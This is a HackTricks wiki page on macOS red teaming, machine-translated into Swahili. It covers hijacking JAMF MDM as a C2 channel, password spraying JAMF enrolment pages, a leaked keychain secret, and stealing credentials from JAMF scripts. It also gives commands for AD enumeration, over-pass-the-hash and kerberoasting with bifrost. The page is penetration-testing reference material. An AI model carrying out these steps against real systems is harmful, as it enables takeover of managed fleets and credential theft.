macOS Red Teaming

Support HackTricks

Abusing MDMs

  • JAMF Pro: jamf checkJSSConnection

  • Kandji

Ikiwa utaweza kudukua akauti za admin ili kufikia jukwaa la usimamizi, unaweza kudukua kompyuta zote kwa kusambaza malware yako kwenye mashine.

Kwa red teaming katika mazingira ya MacOS, inashauriwa sana kuwa na ufahamu wa jinsi MDMs zinavyofanya kazi:

macOS MDM

Using MDM as a C2

MDM itakuwa na ruhusa ya kufunga, kuuliza au kuondoa profaili, kufunga programu, kuunda akaunti za admin za ndani, kuweka nenosiri la firmware, kubadilisha ufunguo wa FileVault...

Ili kuendesha MDM yako mwenyewe unahitaji CSR yako isainiwe na muuzaji ambayo unaweza kujaribu kupata na https://mdmcert.download/. Na ili kuendesha MDM yako mwenyewe kwa vifaa vya Apple unaweza kutumia MicroMDM.

Hata hivyo, ili kufunga programu kwenye kifaa kilichosajiliwa, bado unahitaji isainiwe na akaunti ya developer... hata hivyo, wakati wa usajili wa MDM kifaa kinaongeza cheti cha SSL cha MDM kama CA inayotambulika, hivyo sasa unaweza kusaini chochote.

Ili kusajili kifaa katika MDM unahitaji kufunga mobileconfig faili kama root, ambayo inaweza kutolewa kupitia faili ya pkg (unaweza kuifunga katika zip na wakati inapakuliwa kutoka safari itafunguliwa).

Mythic agent Orthrus inatumia mbinu hii.

Abusing JAMF PRO

JAMF inaweza kuendesha scripts za kawaida (scripts zilizotengenezwa na sysadmin), payloads za asili (kuunda akaunti za ndani, kuweka nenosiri la EFI, ufuatiliaji wa faili/mchakato...) na MDM (mipangilio ya kifaa, vyeti vya kifaa...).

JAMF self-enrolment

Nenda kwenye ukurasa kama https://<company-name>.jamfcloud.com/enroll/ kuona kama wana self-enrolment enabled. Ikiwa wanaweza kuomba akauti za kufikia.

Unaweza kutumia script JamfSniper.py kufanya shambulio la password spraying.

Zaidi ya hayo, baada ya kupata akauti sahihi unaweza kuwa na uwezo wa kujaribu nguvu majina mengine ya watumiaji kwa fomu ifuatayo:

JAMF device Authentication

jamf binary ilikuwa na siri ya kufungua keychain ambayo wakati wa ugunduzi ilikuwa shirikishi kati ya kila mtu na ilikuwa: jk23ucnq91jfu9aj. Zaidi ya hayo, jamf persist kama LaunchDaemon katika /Library/LaunchAgents/com.jamf.management.agent.plist

JAMF Device Takeover

JSS (Jamf Software Server) URL ambayo jamf itatumia iko katika /Library/Preferences/com.jamfsoftware.jamf.plist. Faili hii kimsingi ina URL:

plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist

[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]

Hivyo, mshambuliaji anaweza kuweka kifurushi kibaya (pkg) ambacho kinabadilisha faili hii wakati wa usakinishaji na kuweka URL kwa mskivu wa Mythic C2 kutoka kwa wakala wa Typhon ili sasa aweze kutumia JAMF kama C2.

# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0

# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2

JAMF Ujumbe wa Kuingilia

Ili kuiga mawasiliano kati ya kifaa na JMF unahitaji:

  • UUID ya kifaa: ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'

  • JAMF keychain kutoka: /Library/Application\ Support/Jamf/JAMF.keychain ambayo ina cheti cha kifaa

Kwa habari hii, unda VM yenye stolen Hardware UUID na SIP disabled, weka JAMF keychain, hook agent wa Jamf na uibe habari zake.

Kuiba Siri

Unaweza pia kufuatilia eneo /Library/Application Support/Jamf/tmp/ kwa ajili ya custom scripts ambao wasimamizi wanaweza kutaka kutekeleza kupitia Jamf kwani zimewekwa hapa, zinatekelezwa na kuondolewa. Scripts hizi zinaweza kuwa na credentials.

Hata hivyo, credentials zinaweza kupitishwa kwa scripts hizi kama parameters, hivyo unahitaji kufuatilia ps aux | grep -i jamf (bila hata kuwa root).

Script JamfExplorer.py inaweza kusikiliza kwa faili mpya zinazoongezwa na hoja mpya za mchakato.

macOS Ufikiaji wa Kijijini

Na pia kuhusu MacOS "maalum" network protocols:

macOS Network Services & Protocols

Active Directory

Katika hali fulani utaona kuwa kompyuta ya MacOS imeunganishwa na AD. Katika hali hii unapaswa kujaribu kuorodhesha active directory kama unavyozoea. Pata msaada katika kurasa zifuatazo:

389, 636, 3268, 3269 - Pentesting LDAPActive Directory Methodology88tcp/udp - Pentesting Kerberos

Zana za ndani za MacOS ambazo zinaweza pia kukusaidia ni dscl:

dscl "/Active Directory/[Domain]/All Domains" ls /

Pia kuna zana zilizotayarishwa kwa MacOS ili kuhesabu moja kwa moja AD na kucheza na kerberos:

  • Machound: MacHound ni nyongeza kwa zana ya ukaguzi ya Bloodhound inayoruhusu kukusanya na kuingiza uhusiano wa Active Directory kwenye mwenyeji wa MacOS.

  • Bifrost: Bifrost ni mradi wa Objective-C ulioandaliwa ili kuingiliana na Heimdal krb5 APIs kwenye macOS. Lengo la mradi ni kuwezesha upimaji bora wa usalama kuhusiana na Kerberos kwenye vifaa vya macOS kwa kutumia APIs za asili bila kuhitaji mfumo mwingine wowote au pakiti kwenye lengo.

  • Orchard: Zana ya JavaScript kwa Utaftaji (JXA) kufanya hesabu ya Active Directory.

Taarifa za Kikoa

echo show com.apple.opendirectoryd.ActiveDirectory | scutil

Users

Aina tatu za watumiaji wa MacOS ni:

  • Local Users — Inasimamiwa na huduma ya OpenDirectory ya ndani, hawajashikamana kwa njia yoyote na Active Directory.

  • Network Users — Watumiaji wa Active Directory wanaobadilika ambao wanahitaji muunganisho na seva ya DC ili kuthibitisha.

  • Mobile Users — Watumiaji wa Active Directory wenye nakala ya ndani ya hati zao na faili.

Taarifa za ndani kuhusu watumiaji na vikundi zinaifadhiwa katika folda /var/db/dslocal/nodes/Default. Kwa mfano, taarifa kuhusu mtumiaji anayeitwa mark zinaifadhiwa katika /var/db/dslocal/nodes/Default/users/mark.plist na taarifa kuhusu kundi admin ziko katika /var/db/dslocal/nodes/Default/groups/admin.plist.

Mbali na kutumia edges za HasSession na AdminTo, MacHound inaongeza edges tatu mpya kwenye hifadhidata ya Bloodhound:

  • CanSSH - chombo kinachoruhusiwa SSH kwa mwenyeji

  • CanVNC - chombo kinachoruhusiwa VNC kwa mwenyeji

  • CanAE - chombo kinachoruhusiwa kutekeleza scripts za AppleEvent kwenye mwenyeji

#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user

#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"

#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"

#Domain Information
dsconfigad -show

Zaidi ya habari katika https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/

Computer$ password

Pata nywila kwa kutumia:

bifrost --action askhash --username [name] --password [password] --domain [domain]

Inawezekana kufikia nenosiri la Computer$ ndani ya mfumo wa keychain.

Over-Pass-The-Hash

Pata TGT kwa mtumiaji na huduma maalum:

bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]

Mara tu TGT imekusanywa, inawezekana kuingiza katika kikao cha sasa kwa:

bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local

Kerberoasting

bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]

Kwa tiketi za huduma zilizopatikana, inawezekana kujaribu kufikia sehemu katika kompyuta nyingine:

smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point

Kufikia Keychain

Keychain ina uwezekano mkubwa kuwa na taarifa nyeti ambazo ikiwa zitafikiwa bila kuunda kichocheo zinaweza kusaidia kuendeleza zoezi la red team:

macOS Keychain

Huduma za Nje

MacOS Red Teaming ni tofauti na Red Teaming ya kawaida ya Windows kwani kawaida MacOS imeunganishwa na majukwaa kadhaa ya nje moja kwa moja. Mipangilio ya kawaida ya MacOS ni kufikia kompyuta kwa kutumia OneLogin credentials zilizoratibiwa, na kufikia huduma kadhaa za nje (kama github, aws...) kupitia OneLogin.

Mbinu Mbalimbali za Red Team

Safari

Wakati faili inapopakuliwa katika Safari, ikiwa ni faili "salama", itafunguliwa automatically. Hivyo kwa mfano, ikiwa unapakua zip, itafunguliwa moja kwa moja:

Marejeo

Support HackTricks

Last updated